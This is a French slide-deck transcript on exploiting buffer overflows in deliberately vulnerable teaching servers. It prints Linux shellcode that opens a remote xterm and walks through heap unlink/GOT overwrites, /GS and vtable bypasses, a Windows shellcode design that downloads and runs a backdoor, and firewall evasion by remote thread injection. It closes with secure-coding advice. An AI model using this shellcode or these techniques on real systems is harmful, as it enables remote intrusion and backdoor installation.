La présentation est en train de télécharger. S'il vous plaît, attendez

La présentation est en train de télécharger. S'il vous plaît, attendez

Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation.

Présentations similaires


Présentation au sujet: "Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation."— Transcription de la présentation:

1 Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

2 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Introduction Buffer overflows ne sont statistiquement pas les failles les plus exploitées. Mais failles parmi les plus célèbres Célébrité vient de leur portée : En terme de compromission de la machine vulnérable En terme de propagation au sein dun réseau Puissance des attaques virales sasser et msblast qui combinaient ces deux caractéristiques

3 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Introduction: principe des BOFs Les buffer overflows, un principe simple et très connu Zone reservée Donnée Données Adresses croissantes Conséquences multiples: Modification du comportement Déni de service Exécution de code arbitraire

4 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Objectif de létude Principe connu mais mécanismes rarement décortiqués Possibilités réelles ? Difficultés rencontrées ? Objectif de cette étude: Présenter des exemples concrets dexploitation de buffer overflows pour donner un aperçu des réponses Cadre: Exploitations de cas décoles et non de cas réels Mais exploitations de serveurs donc distantes But: Par écrasement de zones mémoires, rediriger lexécution vers un code injecté qui permettra louverture dun shell sur la machine distante.

5 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Plan Rappels: stack et heap Exploitation sous Linux Écriture dun shellcode pour Linux Exploitation dun Stack overflow avec shellcode before Exploitation dun Heap Overflow Exploitation sous Windows Écriture dun shellcode pour Windows Stack overflow sur serveur compilé Visual 6.0 (option /GZ) Stack overflow sur serveur compilé Visual.net (option /GS) Corruption de VTABLES: Les limites de loption /GS Cas des équipements de filtrages Linjection de code: Contournement du firewall personnel Conclusion

6 Rappels: Stack et Heap Plan: Définitions Exemple pratique

7 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Définitions Stack et Heap Stack (pile) = Variable locale, paramètres,… Heap (tas) = Allocation dynamique dobjets (malloc, new) En mémoire Stack Heap Adresses croissantes

8 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Exemple pratique Code appel de fonction void myFunc(int param) { int local; int *p=new char[50]; … } … myFunc(10); Param Adresse retour Entête fct local p char [50] Retour: - restauration de la pile - instruction « ret »

9 Buffer overflow sous Linux Plan: Écriture dun shellcode pour Linux Exploitation dun Stack overflow avec shellcode before Exploitation dun Heap Overflow

10 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Écriture dun shellcode (1) Définition « Shellcode » => Code injecté, vers lequel lexécution est redirigé et qui effectue une opération compromettant le système (ici, ouverture de shell distant) Injection de ce code dans la mémoire du processus attaqué peut se faire de différentes manières. La plus classique: dans le buffer qui provoque le débordement. Buffer envoyé: ShellcodeRedirection vers shellcode

11 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Écriture dun shellcode (2) Dans notre cas: shellcode=xterm en export DISPLAY xterm avec ENV: Attaquant Service vulnérable BOF

12 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Écriture dun shellcode (3) Code du shellcode (~80 bytes) jmpgetaddr function: popl%ebx/* Recupere adresse de la commande */ xor%eax, %eax movb%al, 0x14(%ebx) movb%al, 0x30(%ebx) pushl%eax/* push NULL */ lea0x15(%ebx), %ecx pushl%ecx/* variable d'env DISPLAY */ movl%esp, %edx/* tableau env dans edx */ pushl%eax/* push NULL */ pushl%ebx/* de la commande */ movl%esp, %ecx/* tableau dans ecx */ movb$0xb, %al int$0x80 getaddr: callfunction.shell_string:.string \"/usr/X11R6/bin/xtermXDISPLAY= :0.0X\" /* le X a remplacer par un 0 */ Gestion de la relocalisation Remplace X par \0 Utilisation de int pour exécution

13 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Exemple de Stack overflow (1) Présentation du serveur Serveur écoute sur le port 1500 Affiche la chaîne renvoyée précédée de « Message from remote client : » void printMsg(char *szBuffer) { char szMsg[MAX_MSG]; sprintf(szMsg, "Message from remote client :%s\n", szBuffer); printf(szMsg); } int main (int argc, char *argv[]) { … while((n = read(newSocketfd, szBuffer, MAX_MSG)) > 0) { printMsg(szBuffer); } … } MAX_MSG < strlen(Message…\n)+ MAX_MSG

14 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Exemple de Stack overflow (2) Principe de retour ebp szMsg szBuffer retour ebp => Quelle est la structure des données envoyées ?

15 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows szBuffer Adresse retour ebp szMsg Exemple de Stack overflow (3) Structure des données envoyées NOP szMsg ret Taille du shellcode limitée Pas doctets buffer inconnue

16 Démo stack overflow

17 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Problèmes des Heap Overflow Débordement de buffer dans des zones allouées dynamiquement possible, mais exploitabilité ? Exploitation de stack overflow facile car stack contient une zone mémoire chargée dans eip Mais ce nest pas le cas de heap (sauf cas particuliers) => Exploitation impossible ? Illustration de la technique de la macro UNLINK décrite par Solar Designer

18 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Lalgorithme de Doug Lea (1) Portions de mémoires allouées gérées dans des chunks prev_size size data prev_size … chunk N prev_size size prev_size … free FD BK chunk N+1

19 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Lalgorithme de Doug Lea (2) Lors de la libération: Test si chunk suivant libre Si libre, lenlève de la liste doublement chaînée. Concatène les deux chunks Pour enlever le bloc de la liste chaînée lalgorithme utilise la macro UNLINK: #define unlink( P, BK, FD ) {\ BK = P->bk;\[1] FD = P->fd;\[2] FD->bk = BK;\[3] BK->fd = FD;\[4] }

20 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Le débordement: principe En cas de débordement: prev_size size data prev_size size data chunk N chunk N+1 prev_size size data prev_size size data sprintf Ecrasement du chunk N+1

21 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Le débordement: exploitation Lors de lappel à free sur chunk N, si chunk N+1 libre, appel de UNLINK #define unlink( P, BK, FD ) {\ BK = P->bk;\[1] FD = P->fd;\[2] FD->bk = BK;\[3] BK->fd = FD;\[4] } Or valeur de FD et BK contrôlé car pointeurs écrasés => Possibilité décriture dun DWORD de notre choix à ladresse de notre choix En pratique, écrasement dune adresse de fonction dans le GOT avec ladresse de notre buffer

22 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Exemple de Heap Overflow (1) Présentation du serveur Simple serveur accepte commande login, note le nom utilisateur et des infos sur la connexion. Code typedef struct { time_t connectTime; } CONNEXION;

23 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Exemple de Heap Overflow (2) void processData(int newSocketfd, char *szBuffer) { char*p; CONNEXION*c; if(szBuffer[0] == CMD_USER)// La commande recu est un login { // Alloue un buffer de taille SZ_USERNAME et une structure CONNEXION p=(char *) malloc(SZ_USERNAME*sizeof(char)); c=(CONNEXION *) malloc(sizeof(CONNEXION)); // Rempli les structures c->connectTime=time(); sprintf(p,"%s login\n", &szBuffer[1]); // Renvoie la reponse au client if(write(newSocketfd, p, strlen(p)) < 0) error("ERROR writing to socket"); // Libere la memoire free(p); free(c); } 200 < 1500

24 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Principe de lexploitation Avant sprintf prev_sizesizedataprev_sizesizedataprev_sizesizedatafake p_sfake sizedataFDBK Après sprintf Après free(p) prev_sizesizedatafake free GOT: Appel de free(c) => saut dans shellcode

25 Démo heap overflow

26 Exploitation sous Windows Plan: Écriture dun shellcode pour Windows Stack overflow sur serveur compilé Visual 6.0 (option /GZ) Stack overflow sur serveur compilé Visual.net (option /GS) Corruption de VTABLES: Les limites de loption /GS Linjection de code: Contournement du firewall personnel

27 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Introduction Buffer overflow sous Windows sujet moins couvert par documentation sur Internet Pourtant, Msblast ou Sasser montre limportance et la gravité du phénomène

28 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Écriture dun shellcode (1) Sous Linux, écriture de shellcode très facile: Lancement dun programme via instruction INT 80h Programmes orientés réseau (xterm en remote display) Sous Windows: API « INT 2Eh » très limitée. Implications => Nécessité dutiliser des API de plus haut niveaux (DLL) => Nécessité de charger les DLL => Nécessité daccéder à certaines fonctions (LoadLibrary) => Nécessité davoir ladresse de kernel32.dll Problèmes: Adresse de kernel32.dll varie dune version à une autre Taille du code augmente considérablement

29 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Écriture dun shellcode (2) Deux contraintes: Shellcode doit être capable de de kernel32.dll Shellcode doit rester de taille raisonnable Principe du shellcode Récupération de ladresse de kernel32.dll (PEB) Récupération de ladresse de GetProcAdress() (Parse export directory) Appel de "LoadLibrary") Appel de LoadLibrary("urlmon.dll") Appel de "URLDownloadToFile") Contact faux serveur web et télécharge BackDoor Exécute la BackDoor

30 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Écriture dun shellcode (3) Principe de lexécution du shellcode Attaquant Service vulnérable BOF Fake web server backdoor (a.exe)

31 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Exemple de Stack Overflow Présentation du serveur int vulnFunc(SOCKET clientSocket, char *msg) { charanswer[BUFFER_SIZE]; char*p; inti; bzero(answer); p=msg; i=0; while((msg[i] != ' ') && (i

32 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Cas de Visual 6.0: Option /GZ Sans option /GZAvec option /GZ push ebp mov ebp,esp sub esp,1D8h push ebx A push esi B push edi push ebp mov ebp,esp sub esp,1D8h push ebx A push esi B push edi C lea edi,[ebp-1D8h] mov ecx,76h mov eax,0CCCCCCCCh C rep stos dword ptr [edi] pop edi A pop esi B pop ebx C mov esp,ebp E pop ebp F ret B pop edi C pop esi D pop ebx E add esp,1D8h cmp ebp,esp call __chkesp ( ) B mov esp,ebp D pop ebp E ret

33 Démo stack overflow

34 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Cas de Visual.net: Option /GS Header de la fonction 00411C70 push ebp 00411C71 mov ebp,esp 00411C73 sub esp,274h 00411C79 push ebx 00411C7A push esi 00411C7B push edi 00411C7C lea edi,[ebp-274h] 00411C82 mov ecx,9Dh 00411C87 mov eax,0CCCCCCCCh 00411C8C rep stos dword ptr [edi] 00411C8E mov eax,dword ptr [___security_cookie] 00411C93 mov dword ptr [ebp-4],eax i p answer security_cookie

35 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Cas de Visual.net: Option /GS Fin de la fonction 00411D53 push edx 00411D54 mov ecx,ebp 00411D56 push eax 00411D57 lea edx,ds:[411D80h] 00411D5D call (4111B3h) 00411D62 pop eax 00411D63 pop edx 00411D64 mov ecx,dword ptr [ebp-4] 00411D67 call (411091h) 00411D6C pop edi 00411D6D pop esi 00411D6E pop ebx 00411D6F add esp,274h 00411D75 cmp ebp,esp 00411D77 (4113E8h) 00411D7C mov esp,ebp 00411D7E pop ebp 00411D7F ret

36 Démo stack overflow

37 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Rappel sur les VTABLES (1) Exemple de statique code => Génération de code statique pour lappel DéclarationAppel class Message { private: intiType; public: voidsetiType(int value); }; void Message::setiType(int value) { iType = value; } Message message; Message message2; message.setiType(0); 00411E2E push E30 lea ecx,[message] 00411E36 call Message::setiType (411569h) message2.setiType(0); 00411E3B push E3D lea ecx,[message2] 00411E43 call Message::setiType (411569h)

38 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Rappel sur les VTABLES (2) Limites de la compilation statique => Utilise les fonctions virtuelles résolues à lexécution En mémoire Pointeur table virtuelle Func Func Func 3 Objet

39 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Rappel sur les VTABLES (3) Exemple de code dynamique DéclarationAppel class Connexion { charszUser[SZ_USER]; charszData[SZ_DATA]; public: Connexion(void); virtual void setszUser (char *szInput); virtual char *getszUser(void); }; ; Appel de setszUser 00411E7A mov ecx,dword ptr [pConnexion] 00411E7D mov edx,dword ptr [ecx] 00411E82 call dword ptr [edx] ; Appel de getszUser 00411E7A mov ecx,dword ptr [pConnexion] 00411E7D mov edx,dword ptr [ecx] 00411E82 call dword ptr [edx+4]

40 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Conséquences Le Heap contient ici un pointeur vers une table de fonctions => Redirection du flux dexécution possible Avantage: Redirection se fait lors appel à une fonction membre de lobjet 2 => Avant toutes vérifications Inconvénient: On écrase un pointeur table virtuelle table virtuelle int a int b table virtuelle table virtuelle int a int b Objet 1 Objet 2

41 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Exemple de Heap Overflow (1) Code du serveur class Connexion { charszUser[SZ_USER]; charszData[SZ_DATA]; public: Connexion(void) {bzero(szData);bzero(szUser);}; virtual void setszUser(char *szInput){sprintf(szUser, "USER=%s", szInput);}; virtual char *getszUser(void){return szUser;}; virtual void setszData(char *szInput){sprintf(szData, "DATA=%s", szInput);}; virtual char *getszData(void){return szData;}; }; class LogData { public: virtual voidlogszData (char *szData) {printf("[TRACE] %s\n", szData);}; };

42 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Exemple de Heap Overflow (2) Code du serveur int processData(SOCKET clientSocket, Connexion *pConnexion, LogData *pLogData, char *szData) { charmsgToLog[SZ_LOG]; if(szData[0] == CODE_USER) { pConnexion->setszUser(&szData[1]); sprintf(msgToLog, "Login user: %s",pConnexion->getszUser()); if(send(clientSocket, MSG_USER, strlen(MSG_USER), 0) == SOCKET_ERROR) return -1; } else if(szData[0] == CODE_DATA) { pConnexion->setszData(&szData[1]); sprintf(msgToLog, "Data sent: %s",pConnexion->getszData()); if(send(clientSocket, MSG_DATA, strlen(MSG_DATA), 0) == SOCKET_ERROR) return -1; } pLogData->logszData(msgToLog); return 0; }

43 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Exemple de Heap Overflow (3) En table virtuelle table virtuelle pConnexion pLogData szData Exploitation en deux temps: Envoi dun faux user pour Ecrasement de la VTABLES de pLogData

44 Démo heap overflow

45 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Conclusion partie Windows Étude montre les difficultés décriture de shellcode sous Windows Mais lexploitation de cas décole reste aisée Loption /GS permet déviter lexploitation de stack overflow simples, mais nest pas une protection inviolable

46 Contournement des équipements de filtrages Plan: Concepts La protection par FW personnel

47 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Concepts (1) Exemples précédents ne présentent pas le problème de la communication entre attaquant – backdoor Cas de Linux: Attaquant Serveur X Serveur vulnérable xterm avec ENV: FireWall

48 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Concepts (2) Cas de Windows Attaquant Service vulnérable Fake web server Proxy + Authent => Il faut savoir adapter le shellcode à larchitecture du réseau ciblé. A priori, si serveur autorisé connecté à Internet, contournement sera toujours possible BOF

49 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- La protection par FW personnel Concept: FW personnel Application filtrant le trafic entrant et sortant dune machine Gère le contrôle daccès via le concept dapplications: Deux modes sont distingués: client ou serveur Pour chaque mode, une application peut soit être autorisée, soit interdite, soit inconnue. Une application inconnue de peut pas accéder à Internet => Détection de notrebackdoor Calcul de checksum empêche simple remplacement => Le FW personnel est-il la solution miracle anti-backdoor ?

50 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Contournement du FW personnel (1) Problème est que la gestion des accès se fait au niveau processus et non au niveau du thread Or Windows offre la possibilité de créer des threads dans une application distante Technique qui devient très courante. Utilise les fonctions: VirtualAllocEx WriteProcessMemory CreateRemoteThread

51 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Contournement du FW personnel (2) Principe du contournement: Téléchargement de la backdoor (a.exe) et exécution La backdoor ouvre le processus serveur et injecte du code La backdoor créé un thread executant le code injecté dans le processus serveur Le code injecté ouvre une socket en mode serveur, opération permise par le FW car le processus serveur est autorisée à ouvrir ce type de socket Problèmes rencontrés: Code injecté doit être relocalisable, retrouver adresse des fonctions,… Même techniques que pour le shellcode Le processus serveur ne doit pas planter => Retour à lexécution normale ou utilisation dun Sleep

52 Démo heap overflow / FW

53 Conclusion générale

54 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =- Conclusion générale Étude présente des cas concrets dexploitation Lorsquil y a débordement de buffer, les possibilités dexploitations sont multiples Il existe de très nombreuses protections opérants à des niveaux différents : Au niveau du réseau, les équipements de filtrage. Au niveau système, les protections comme chroot ou la gestion des droits de lutilisateur dexécution du serveur. Au niveau logiciel, les protections comme loption /GS ou des produits comme StackGuard Ideal = Défense en profondeur LA solution reste lécriture de code sécurisé: Évitez les fonctions dangereuses (sprintf,strcpy,memcpy,…) Faites attention aux erreurs off-by-one Vérifiez les boucles qui remplissent des tableaux Utilisez les types managés sous Windows Ne JAMAIS se fier aux données envoyées par lutilisateur

55 Questions / Remarques


Télécharger ppt "Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation."

Présentations similaires


Annonces Google